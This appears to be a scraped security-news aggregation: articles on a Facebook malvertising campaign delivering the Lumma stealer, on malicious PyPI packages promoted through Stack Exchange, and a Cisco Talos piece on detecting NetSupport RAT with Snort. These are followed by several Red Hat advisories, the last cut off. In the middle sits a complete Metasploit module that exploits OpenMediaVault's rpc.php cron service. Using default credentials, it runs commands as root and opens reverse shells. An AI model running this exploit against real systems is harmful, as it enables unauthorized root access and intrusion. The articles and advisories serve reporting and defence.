A malvertising campaign uses phishing to steal legitimate account pages, with the endgame of delivering the Lumma stealer.

Source: Hocus Focus Studio via iStock

Attackers are hijacking pages on Facebook to lure victims into downloading a legitimate artificial intelligence (AI) photo editor, but then serving up a widely distributed infostealer to rob users of their credentials instead.

The malvertising campaign, discovered by researchers at Trend Micro, exploits the popularity of AI and combines a variety of popular threat tactics, including phishing, social engineering, and the use a legitimate utility in a malicious way. The ultimate payload is the Lumma stealer, which targets sensitive information, including user credentials, system details, browser data, and extensions.

The attack hinges on the abuse of paid Facebook promotions, which attackers have leveraged to lure users into engagement and ultimately deliver malware, the researchers noted in a blog post today.

“Once the attacker gains control of the page, ads are posted promoting the AI photo editor, leading victims to download an endpoint management utility disguised as the photo editor,” Trend Micro threat researcher Jaromir Horejsi wrote.

Attackers also are taking advantage of the current attention on AI technology and tools associated with it by using these tools "as lures for malicious activities, which includes phishing scams, deepfakes, and automated attacks," he wrote.

So far, the malicious package associated with the campaign has generated about 16,000 downloads on Windows and 1,200 on macOS. However, the macOS version redirects to the Apple website instead of an attacker-controlled site, suggesting that attackers are only targeting Windows users with the campaign.

**Phishing Leads to Hijacked Pages**

A typical attack in the campaign starts before a potential victim even sees an ad. Attackers begin by sending phishing messages to owners of the targeted social media page to gain control of the page for their own malicious use. The sender account typically looks like an empty profile with randomly generated user names.

The phishing links in the messages are sent either as direct links or personalized link pages, such as linkup.top, bio.link, s.id, and linkbio.co, among others. Sometimes attackers even abuse Facebook's open redirect URL for these links to appear more legitimate.

If the page operator clicks on the links, they are presented with a screen to verify their information with a "Business Support Center" for Meta developers. Clicking on that screen's "Verify Your Information Here" link leads to a fake account protection page, "which in several subsequent steps, asks users for the information necessary to log in and take over their account, such as their phone number, email address, birthday, and password," Horejsi explained.

After the target provides this info, the attacker steals the profile and begins creating and posting malicious ads for an AI photo editor with links to a fake domain that uses the name of a legitimate tool, such as Evoto.

"The fake photo editor web page looks very similar to the original one, which helps in tricking the victim into thinking that they are downloading a photo editor," Horejsi wrote.

However, what a user who takes the bait actually downloads is the freely available ITarian endpoint management software. The attacker, using a series of back-end processes controls, ultimately controls the victim's machine to download the final payload, the Lumma stealer.

**Avoiding Compromise**

There are a number of ways that people can avoid falling victim to the campaign and threats that abuse social media pages, which not only can compromise users but also lead to secondary attacks via stolen credentials that act as initial entry into enterprise infrastructure, according to Trend Micro.

Social-media users should enable multifactor authentication on all their accounts to add an extra layer of protection against unauthorized access, as well as regularly update and use strong, unique passwords across all accounts.

Organizations also should regularly practice education and awareness to let their employees know of the dangers lurking on social media while accessing corporate networks, as well as how to identify suspicious messages and links associated with phishing attacks.

Finally, both organizations and individual users should monitor their accounts for any unusual behavior, such as unexpected login attempts or changes to account information. Organizations should employ some kind of detection and response mechanisms.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Attackers Hijack Facebook Pages, Promote Malicious AI Photo Editor

In yet another sign that threat actors are always looking out for new ways to trick users into downloading malware, it has come to light that the question-and-answer (Q&A) platform known as Stack Exchange has been abused to direct unsuspecting developers to bogus Python packages capable of draining their cryptocurrency wallets.
"Upon installation, this code would execute automatically,

In yet another sign that threat actors are always looking out for new ways to trick users into downloading malware, it has come to light that the question-and-answer (Q&A) platform known as Stack Exchange has been abused to direct unsuspecting developers to bogus Python packages capable of draining their cryptocurrency wallets.

"Upon installation, this code would execute automatically, setting in motion a chain of events designed to compromise and control the victim's systems, while also exfiltrating their data and draining their crypto wallets," Checkmarx researchers Yehuda Gelb and Tzachi Zornstain said in a report shared with The Hacker News.

The campaign, which began on June 25, 2024, specifically singled out cryptocurrency users involved with Raydium and Solana. The list of rogue packages uncovered as part of the activity is listed below -

*   raydium (762 downloads)
*   raydium-sdk (137 downloads)
*   sol-instruct (115 downloads)
*   sol-structs (292 downloads)
*   spl-types (776 downloads)

The packages have been collectively downloaded 2,082 times. They are no longer available for download from the Python Package Index (PyPI) repository.

The malware concealed within the package served a full-fledged information stealer, casting a wide net of data, including web browser passwords, cookies, and credit card details, cryptocurrency wallets, and information associated with messaging apps like Telegram, Signal, and Session.

It also packed in capabilities to capture screenshots of the system, and search for files containing GitHub recovery codes and BitLocker keys. The gathered information was then compressed and exfiltrated to two different Telegram bots maintained by the threat actor.

Separately, a backdoor component present in the malware granted the attacker persistent remote access to victims' machines, enabling potential future exploits and long-term compromise.

The attack chain spans multiple stages, with the "raydium" package listing "spl-types" as a dependency in an attempt to conceal the malicious behavior and give users the impression that it was legitimate.

A notable aspect of the campaign is the use of Stack Exchange as a vector to drive adoption by posting ostensibly helpful answers referencing the package in question to developer questions related to performing swap transactions in Raydium using Python.

"By choosing a thread with high visibility — garnering thousands of views—the attacker maximized their potential reach," the researchers said, adding it was done so to "lend credibility to this package and ensure its widespread adoption."

While the answer no longer exists on Stack Exchange, The Hacker News found references to "raydium" in another unanswered question posted on the Q&A site dated July 9, 2024: "I have been struggling for nights to get a swap on solana network running in python 3.10.2 installed solana, solders and Raydium but I can't get it to work," a user said.

References to "raydium-sdk" have also surfaced in a post titled "How to Buy and Sell Tokens on Raydium using Python: A Step-by-Step Solana Guide" that was shared by a user named SolanaScribe on the social publishing platform Medium on June 29, 2024.

It's currently not clear when the packages were removed from PyPI, as two other users have responded to the Medium post seeking help from the author about installing "raydium-sdk" as recently as six days ago. Checkmarx told The Hacker News that the post is not the work of the threat actor.

This is not the first time bad actors have resorted to such a malware distribution method. Earlier this May, Sonatype revealed how a package named pytoileur was promoted via another Q&A service called Stack Overflow to facilitate cryptocurrency theft.

If anything, the development is evidence that attackers are leveraging trust in these community-driven platforms to push malware, leading to large-scale supply chain attacks.

"A single compromised developer can inadvertently introduce vulnerabilities into an entire company's software ecosystem, potentially affecting the whole corporate network," the researchers said. "This attack serves as a wake-up call for both individuals and organizations to reassess their security strategies."

The development comes as Fortinet FortiGuard Labs detailed a malicious PyPI package called zlibxjson that packed features to steal sensitive information, such as Discord tokens, cookies saved in Google Chrome, Mozilla Firefox, Brave, and Opera, and stored passwords from the browsers. The library attracted a total of 602 downloads before it was pulled from PyPI.

"These actions can lead to unauthorized access to user accounts and the exfiltration of personal data, clearly classifying the software as malicious," security researcher Jenna Wang said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Distributing Malicious Python Packages via Popular Developer Q&A Platform

In this first Deep Dive with NTDR, we explore how defenders can leverage Snort for the detection of evasive malware threats.

Thursday, August 1, 2024 06:00

_By Chris Morrison._

*   Cisco Talos is actively tracking multiple malware campaigns that utilize NetSupport RAT for persistent infections. 
*   These campaigns evade detection through obfuscation and updates. 
*   Snort can provide a strong defense before this malware reaches endpoints. 
*   In this first Deep Dive with NTDR, we explore how defenders can leverage Snort for the detection of evasive malware threats. 

In November 2023, security vendors identified a new NetSupport RAT campaign that used fake browser updates from compromised and malicious websites to trick users into downloading a stager that downloads and invokes PowerShell commands to install the NetSupport manager agent onto the victim’s machine and establish persistence. 

In January 2024, security researchers published another analysis of the same campaign, although with some differences in the initial JavaScript payload, which demonstrates a threat actor re-focusing on the obfuscation of the initial stager. There are also modifications observed in the agent installation including new paths for the randomized installation. 

So, Cisco Talos followed suit with our own in-depth analysis. We identified multiple obfuscation and evasion techniques being used by the campaign and created appropriate detection to keep users protected. By identifying specific weaknesses in the campaign’s obfuscation techniques and identifying indicators of compromise (IOCs), we can create highly accurate detection of this campaign. Talos is also in a unique position of having primarily open-source detection tools such as Snort and ClamAV. To highlight these capabilities, we will provide a detailed explanation of our detection methodology. 

**Campaign history **

NetSupport Manager has been commercially available for remote device administration since 1989. Like many tools in the IT remote support industry, NetSupport Manager has been weaponized by threat actors who either cannot or do not wish to develop their own RAT. Adversaries first started using NetSuport for malicious purposes in 2017, and at this point, most security vendors widely recognize this software as a RAT. The 2020s' shift to remote work for many office workers marked an increased use of NetSupport RAT in more phishing and drive-by download campaigns, as well as being used alongside other loaders. This campaign is the most notable use of NetSupport RAT in recent years, with hundreds of known stager variants across dozens of domains used in a large-scale malicious advertising campaign. 

**Component summary **

Components in VirusTotal graph. 

1.  Stage 1 is a JavaScript file that is downloaded from one of several malicious advertisements or compromised websites. It’s an obfuscated downloader, keeping a Stage 2 JavaScript and PowerShell payload in memory, which is the actual meat of the dropper. Stage 1 is obfuscated and embedded within otherwise benign JavaScript libraries. 
2.  In Stage 2, a PowerShell script is run via JavaScript. Both are obfuscated, and the PowerShell is embedded in the JavaScript, and the JavaScript is embedded within large comment blocks of random ASCII hex. The PowerShell makes another HTTP GET to retrieve the base64-encoded ZIP. On receipt, the PowerShell extracts the payload into a semi-random path, starts execution, and then establishes basic registry persistence. 
3.  The end payload is a completely portable install of the commercial NetSupport Manager RAT utility. Some of the installs come with additional scripts or slight filename changes to avoid more narrow detection. 

**Stage 1: JavaScript stager **

From 3b587d0c311e8ebc3bb104d564235c41ef8e64592c7419f17f48e0cee9ebc878. 

The screenshot above shows the normalized inner payload for an older version of the JavaScript Stage 1. In this older sample, the actual malicious code is embedded within an otherwise benign JavaScript library. Several libraries are used, including jQuery, moment.js and SheetJS. However, this stage's actual malicious payload is barely obfuscated. The next stage download URL is in plain text. The call to “activeXObject” to create the HTTP connection is in plain text. And similarly, the eval call is in plain text. 

From 01d867d552a06bd778c812810a476441681c4bebabf967e80f8024b3856cb03e 

Here, we have the normalized content of a very recent (first seen 2024.03.09) sample of the stager from the same campaign. Similarly to the older version, the malicious payload is wrapped in an otherwise benign library. Improving over the previous versions, the malicious payload within is further obfuscated with the open-source tool javascript-obfuscator. This results in the removal of the plaintext “activeXObject” and “eval,” however, the output pattern of JavaScript-obfuscator is highly identifiable, as every variable and function name is a random hexadecimal value prefixed by an underscore. 

Deobfuscated 01d867d552a06bd778c812810a476441681c4bebabf967e80f8024b3856cb03e 

The old and new samples shared two major features: All the obfuscation is pre-computed and not done on a per-download basis. This is observable through the fact that so many of the stages can be identified with common entry point functions after having been obfuscated with javascript-obfuscator. Also, the pre-obfuscated stagers are reused by stamping them with a new random download URL. This URL then ends up being in plain text as well so from identifying the highly unique function names from one stager, we can find many more and then automatically extract the download URLs from them statically, which is much faster than throwing them all in analysis sandboxes.  

Fast pattern-only rule for detection. 

**Stage 1 detection **

From a detection standpoint, we can use Snort to leverage a fast\_pattern-only file rule. This simple rule will only detect the given cluster of stagers being downloaded. However, since this is a fast\_pattern-only rule on highly unique text, we can put it in the more general Snort policy configurations since there is little overhead to running this rule. Additionally, the Snort 3 file rule will do all the abstraction from other protocols that can carry files, such as FTP and SMTP, letting us cast our coverage net over a broader attack surface in case this file is being transmitted through more ways than just the known malicious advertisement. 

**Stage 2: JavaScript & PowerShell dropper **

The second stage of the campaign is an in-memory payload downloaded by the on-disk JavaScript. This stage consists of a JavaScript function that then calls PowerShell. 

From 6f3681cd91f7a19c1cf2699e1f9f7b550dfe46841ab5171124e79979fae5424a 

 The JavaScript content is padded on either side by large, repeating, random comment blocks. The actual JavaScript is quite simple, a slightly obfuscated call to ActiveXObject(“WScript.Shell”), which allows the PowerShell command-line to be run. 

Deobfuscated from 6f3681cd91f7a19c1cf2699e1f9f7b550dfe46841ab5171124e79979fae5424a 

The PowerShell invocation is where most of the dropper’s work happens. PowerShell is run with the command line flags “-Ex Bypass” which sets the execution policy to “Bypass”, enabling unsigned execution, “-NoP” which is short for “-NoPolicy” and avoids the current user’s startup script, and “-C” which is short for “-command” and will run the following command line string as a PowerShell script. The commands themselves are a straightforward download of the next stage, which is a base64-encoded ZIP file that contains a portable installation of NetSupport Manager Agent. After downloading the payload, it is base64-decoded, written to disk, and then extracted to the target install folder. A check is run to make sure “client32.exe,” the main executable of the agent, exists in the output directory and then this file is run. Finally, a registry entry is made to establish user-level persistence of the agent on login. 

Interestingly, this stage is not obfuscated with the same techniques as the Stage 1 file. The PowerShell file is only slightly obfuscated through random variable names and string concatenations, and the JavaScript obfuscation uses the same techniques in addition to the mentioned large random comment blocks. Because this obfuscation is so limited, we can rely on static signatures in this case. If future versions of this stager are further obfuscated, using normalized content buffers in Snort such as js\_data can provide a consistent view into the payload. However, this payload has remained largely unchanged besides the payload URLs from November 2023 to March 2024. 

**Stage 2 detection **

For Snort detection, we can use a simple series of content that matches the content of the PowerShell script. The unobfuscated registry key for persistence combined with the PowerShell flags makes a great rule for potential malware dropper detection. We can narrow this even further with the inclusion of the client32.exe filename so that we know we are only alerting on this campaign and similar uses of NetSupport RAT. 

An additional trick would be the use of an HTTP service rule. In Snort 3, the service inspector can identify known services regardless of the port they are on, in contrast to Snort 2 where you will need to define HTTP\_PORTS ahead of time. Regardless of what port the attacker is hosting the HTTP payload on, our rule can detect the malicious content. 

This Snort rule identifies and prevents the current iteration of dropper payloads. A more holistic approach to defense would also include behavioral detection. Since we can observe this dropper’s behavior regardless of any text obfuscation, we will effectively forbid this technique on any protected endpoint and force the threat actor to change tactics. 

Example Sigma detection. 

 The Sigma behavioral rule language can encapsulate this detection quite well. This rule can detect most installs but will fail to identify obfuscations through renames or different registry keys. 

**Obfuscated NetSupport manager download **

Retreading a little bit, the PowerShell invocation downloads a base64-encoded ZIP file of an entire installation of NetSupport Manager agent. For NetSupport Manager and most other legitimate software packages, this is a highly unusual way for the package to be distributed. Most applications are installed via an MSI package or an EXE installer that downloads the full application without obfuscation. The client binaries are not obfuscated by the threat actor since obfuscating an existing compiled binary is more challenging than obfuscating the source code scripts identified in stage 1 and stage 2 files. Because of this, the unique DLLs that encompass most of the NetSupport Manager Client’s actual logic are not renamed. 

It might seem we will have to stream decode the base64 content and unzip it in memory to scan for malicious file contents; we can exploit two specific features of the ZIP in base64 format. The highly unique DLL names will all be close together in the ZIP archive central directory, the structure that holds the information on what files are in the archive. Second, base64 is not a random encoding, and we can pre-compute all three possible base64-encoded strings that represent any one given input. CyberChef has an excellent demonstration of how this works. This method involves the possible two-bit alignment positions within the six-bit encoding size of a given base64 character. Putting all this together means that we can pre-compute all the combinations of the base64-encoded DLL names as high-speed rules that are only looking for static content matches.  

The threat actors using NetSupport RAT in this campaign are typically looking for the fastest way to get a RAT agent into deployment. The threat actors who use NetSupport Manager are not putting a strong amount of effort into obfuscation of droppers, let alone the agents, so this is an effective rule for their non-standard download paths.  

**Additional Snort detections **

Talos has existing Snort coverage for NetSupport Manager Agent’s network activity leveraging SID 44678, which was created back in 2017. We also expanded this coverage in 2020, with the creation of SIDs 53539 - 53544 as the usage by malicious actors increased. For the latest campaign, we increased our coverage through a Snort feature that was not available before. File Rules are a feature only available in Snort 3 that allows the abstraction of file contents from the protocols that carry them, allowing us to write wider-reaching signatures. 

As the NetSupport RAT files are not typically obfuscated by threat actors and it is a legitimate commercial product with many specialized features, there are many opportunities to create detection against the files. For example, in both the EXE and DLLs, the full manufacturer and product information for NetSupport Manager Client is detailed. 

As other legitimate software binaries are unlikely to include the full metadata for NetSupport Manager, this gives us a great signature to work with that lets us cleanly identify the binaries without any heavy reverse engineering needed. Although Snort does not have a modifier for Unicode strings, Unicode text byte strings can be leveraged for detection. Once again, we can use the “file” rule target to throw our detection net over a much larger surface than just HTTP downloads. Other campaigns using NetSupport Manager RAT will be observable from this rule through Snort’s ability to inspect file streams from multiple protocols. 

Although NetSupport RAT continues to be used by malicious campaigns, its widespread use hinders those threat actors who are not willing to dedicate the resources to develop their own tools or more evasive techniques. And since this campaign is still active and updated, we may still observe these techniques being developed and deployed by this threat actor. For now, this gives us an example of when a threat is persistent but not advanced. 

**Indicators of Compromise **

Indicators of Compromise associated with this threat can be found here.

Detecting evolving threats: NetSupport RAT campaign

OpenMediaVault allows an authenticated user to create cron jobs as root on the system. An attacker can abuse this by sending a POST request via rpc.php to schedule and execute a cron entry that runs arbitrary commands as root on the system. All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::Deprecated  moved_from 'exploit/multi/http/openmediavault_cmd_exec'  def initialize(info = {})    super(      update_info(        info,        'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',        'Description' => %q{          OpenMediaVault allows an authenticated user to create cron jobs as root on the system.          An attacker can abuse this by sending a POST request via rpc.php to schedule and execute          a cron entry that runs arbitrary commands as root on the system.          All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor          'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module        ],        'References' => [          ['CVE', '2013-3632'],          ['PACKETSTORM', '178526'],          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],          ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']        ],        'DisclosureDate' => '2013-10-30',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'curl'],              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),        OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),        OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])      ]    )  end  def user    datastore['USERNAME']  end  def pass    datastore['PASSWORD']  end  def rpc_success?(res)    res&.code == 200 && res.body.include?('"error":null')  end  def login(user, pass)    print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")    # try the login options for all OpenMediaVault versions    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'keep_cookies' => true,      'ctype' => 'application/json',      'data' => {        service: 'Session',        method: 'login',        params: {          username: user,          password: pass        },        options: nil      }.to_json    })    unless res&.code == 200 && res.body.include?('"authenticated":true')      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'keep_cookies' => true,        'ctype' => 'application/json',        'data' => {          service: 'Authentication',          method: 'login',          params: {            username: user,            password: pass          }        }.to_json      })    end    unless res&.code == 200 && res.body.include?('"authenticated":true')      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'keep_cookies' => true,        'ctype' => 'application/json',        'data' => {          service: 'Authentication',          method: 'login',          params: [            {              username: user,              password: pass            }          ]        }.to_json      })      return res&.code == 200 && res.body.include?('"authenticated":true')    end    true  end  def check_target    print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'keep_cookies' => true,      'ctype' => 'application/json',      'data' => {        service: 'System',        method: 'getInformation',        params: nil      }.to_json    })    return nil unless rpc_success?(res)    res  end  def check_version(res)    # parse json response and get the version    res_json = res.get_json_document    unless res_json.blank?      # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information      version = res_json.dig('response', 1, 'value')      version = res_json.dig('response', 'version') if version.nil?      version = res_json.dig('response', 'data', 1, 'value') if version.nil?      return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?    end    nil  end  def apply_config_changes    # Apply OpenMediaVault configuration changes    send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'data' => {        service: 'Config',        method: 'applyChangesBg',        params: {          modules: [],          force: false        },        options: nil      }.to_json    })  end  def execute_command(cmd, _opts = {})    # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']    # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'    # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'    # OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter    # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters    schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'    uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'    if @version_number > Rex::Version.new('1.0.32')      post_data = {        service: 'Cron',        method: 'set',        params: {          uuid: uuid,          enable: true,          execution: 'exactly',          minute: schedule,          everynminute: false,          hour: schedule,          everynhour: false,          dayofmonth: schedule,          everyndayofmonth: false,          month: schedule,          dayofweek: schedule,          username: 'root',          command: cmd.to_s, # payload          sendemail: false,          comment: '',          type: 'userdefined'        },        options: nil      }.to_json    elsif @version_number >= Rex::Version.new('0.2.6.4')      post_data = {        service: 'Cron',        method: 'set',        params: {          uuid: uuid,          enable: true,          minute: schedule,          everynminute: false,          hour: schedule,          everynhour: false,          dayofmonth: schedule,          everyndayofmonth: false,          month: schedule,          dayofweek: schedule,          username: 'root',          command: cmd.to_s, # payload          sendemail: false,          comment: '',          type: 'userdefined'        }      }.to_json    else      post_data = {        service: 'Cron',        method: 'set',        params: [          {            uuid: uuid,            minute: schedule,            hour: schedule,            dayofmonth: schedule,            month: schedule,            dayofweek: schedule,            username: 'root',            command: cmd.to_s, # payload            comment: '',            type: 'userdefined'          }        ]      }.to_json    end    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'data' => post_data    })    fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)    # parse json response and get the uuid of the cron entry    # we need this later to clean up and hide our tracks    res_json = res.get_json_document    @cron_uuid = res_json.dig('response', 'uuid') || ''    # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it    if @cron_uuid.blank?      if @version_number >= Rex::Version.new('0.2.6.4')        method = 'getList'      else        method = 'getListByType'      end      post_data = {        service: 'Cron',        method: method,        params: {          start: 0,          limit: -1,          sortfield: nil,          sortdir: nil,          type: ['userdefined']        }      }.to_json      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'ctype' => 'application/json',        'keep_cookies' => true,        'data' => post_data      })      res_json = res.get_json_document      # get total list of entries and pick the last one      index = res_json.dig('response', 'total')      @cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''    end    # Apply and update cron configuration to trigger payload execution (1 minute)    # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply    apply_config_changes    print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')  end  def on_new_session(_session)    # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true    unless datastore['PERSISTENT']      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'ctype' => 'application/json',        'keep_cookies' => true,        'data' => {          service: 'Cron',          method: 'delete',          params: {            uuid: @cron_uuid.to_s          }          # options: nil        }.to_json      })      if rpc_success?(res)        # Apply changes and update cron configuration to remove the payload entry        # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply        apply_config_changes        print_good('Cron payload entry successfully removed.')      else        print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')      end    end    super  end  def check    @logged_in = login(user, pass)    return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in    res = check_target    return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?    @version_number = check_version(res)    return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?    return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))    CheckCode::Detected("Version #{@version_number}")  end  def exploit    unless @logged_in      if login(user, pass)        res = check_target        fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?        @version_number = check_version(res)        if @version_number.nil?          print_status('Can not retrieve version information. Continue anyway...')        else          print_status("Version #{@version_number} detected.")        end      else        fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')      end    end    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  endend

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution

Red Hat Security Advisory 2024-4938-03 - An update for httpd is now available for Red Hat Enterprise Linux 7.7 Advanced Update Support. Issues addressed include a null pointer vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_4938.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: httpd security updateAdvisory ID:        RHSA-2024:4938-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:4938Issue date:         2024-07-31Revision:           03CVE Names:          CVE-2024-38474====================================================================Summary: An update for httpd is now available for Red Hat Enterprise Linux 7.7 Advanced Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The httpd packages provide the Apache HTTP Server, a powerful, efficient, and extensible web server.Security Fix(es):* httpd: Substitution encoding issue in mod_rewrite (CVE-2024-38474)* httpd: Improper escaping of output in mod_rewrite (CVE-2024-38475)* httpd: NULL pointer dereference in mod_proxy (CVE-2024-38477)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-38474References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2295013https://bugzilla.redhat.com/show_bug.cgi?id=2295014https://bugzilla.redhat.com/show_bug.cgi?id=2295016

Red Hat Security Advisory 2024-4938-03

Red Hat Security Advisory 2024-4937-03 - An update for the varnish:6 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_4937.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: varnish:6 security updateAdvisory ID:        RHSA-2024:4937-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:4937Issue date:         2024-07-31Revision:           03CVE Names:          CVE-2024-30156====================================================================Summary: An update for the varnish:6 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Varnish Cache is a high-performance HTTP accelerator. It stores web pages in memory so web servers don't have to create the same web page over and over again, giving the website a significant speed up.Security Fix(es):* varnish: HTTP/2 Broken Window Attack may result in denial of service (CVE-2024-30156)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-30156References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271486

Red Hat Security Advisory 2024-4937-03

Red Hat Security Advisory 2024-4936-03 - An update for the freeradius:3.0 module is now available for Red Hat Enterprise Linux 8.

